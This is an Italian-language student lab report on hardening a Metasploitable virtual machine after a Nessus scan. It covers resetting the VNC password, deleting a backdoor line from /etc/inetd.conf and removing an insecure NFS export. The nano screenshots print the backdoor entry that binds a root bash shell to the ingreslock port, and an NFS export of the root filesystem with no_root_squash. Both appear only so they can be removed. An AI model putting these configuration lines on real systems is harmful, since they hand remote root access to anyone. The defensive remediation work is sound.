

## Report Esercizio REMEDIATION 01/06/2023

Ho avviato le macchine Kali Linux e Metasploitable, ho verificato pingassero, dopodichè ho fatto il login su Nessus e ho aggiunto una nuova scansione. Ho deciso di utilizzare la Basic Scan, dove ho impostato i parametri di scan su tutte le porte. Ho avviato la scansione e a fine processo, dopo aver individuato le vulnerabilità critiche presenti in lista vulnerabilità di Nessus, ho provveduto ad iniziare la fase di Remediation.

Per prima cosa ho cambiato la password VNC.

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:64:71:e6
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe64:71e6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:65 errors:0 dropped:0 overruns:0 frame:0
          TX packets:85 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4354 (4.2 KB)  TX bytes:8275 (8.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:138 errors:0 dropped:0 overruns:0 frame:0
          TX packets:138 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:35543 (34.7 KB)  TX bytes:35543 (34.7 KB)

msfadmin@metasploitable:~$ vncpasswd
Using password file /home/msfadmin/.vnc/passwd
Password:
Verify:
Would you like to enter a view-only password (y/n)? n
msfadmin@metasploitable:~$ _
```

Secondo step è stata l'eliminazione della backdoor entrando nel file sudo nano /etc/inetd.conf, ho eliminato l'ultima stringa che consentiva l'accesso.

```
GNU nano 2.0.7      File: /etc/inetd.conf

#<off># netbios-ssn    stream  tcp    nowait  root    /usr/sbin/tcpd  /usr/sbin/in.tftpd
telnet                stream  tcp    nowait  telnetd  /usr/sbin/tcpd  /usr/sbin/in.telnetd
#<off># ftp            stream  tcp    nowait  root    /usr/sbin/tcpd  /usr/sbin/in.ftpd
tftp                  dgram  udp    wait    nobody   /usr/sbin/tcpd  /usr/sbin/in.tftpd
shell                 stream  tcp    nowait  root    /usr/sbin/tcpd  /usr/sbin/in.rsh
login                 stream  tcp    nowait  root    /usr/sbin/tcpd  /usr/sbin/in.rlogin
exec                  stream  tcp    nowait  root    /usr/sbin/tcpd  /usr/sbin/in.rexecd
ingreslock stream tcp nowait root /bin/bash bash -i

[ Read 8 lines ]
^G Get Help      ^O WriteOut      ^R Read File     ^Y Prev Page     ^K Cut Text       ^C Cur Pos
^X Exit          ^J Justify       ^W Where Is     ^V Next Page     ^U UnCut Text    ^T To Spell
```

Terzo step ho modificato i privilegi del server NFS entrando nel file sudo nano /etc/exports dove ho eliminato la stringa tra parentesi tonde, che permetteva l'accesso da remoto a qualsiasi root user.

```
GNU nano 2.0.7      File: /etc/exports

# /etc/exports: the access control list for filesystems which may be exported
#                 to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#
/*(rw,sync,no_root_squash,no_subtree_check)
```

[ Read 12 lines ]

<b>^G</b> Get Help	<b>^O</b> WriteOut	<b>^R</b> Read File	<b>^Y</b> Prev Page	<b>^K</b> Cut Text	<b>^C</b> Cur Pos
<b>^X</b> Exit	<b>^J</b> Justify	<b>^W</b> Where Is	<b>^V</b> Next Page	<b>^U</b> UnCut Text	<b>^T</b> To Spell

```
GNU nano 2.0.7      File: /etc/exports

# /etc/exports: the access control list for filesystems which may be exported
#                 to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#
```

[ Wrote 10 lines ]

```
msfadmin@metasploitable:~$
```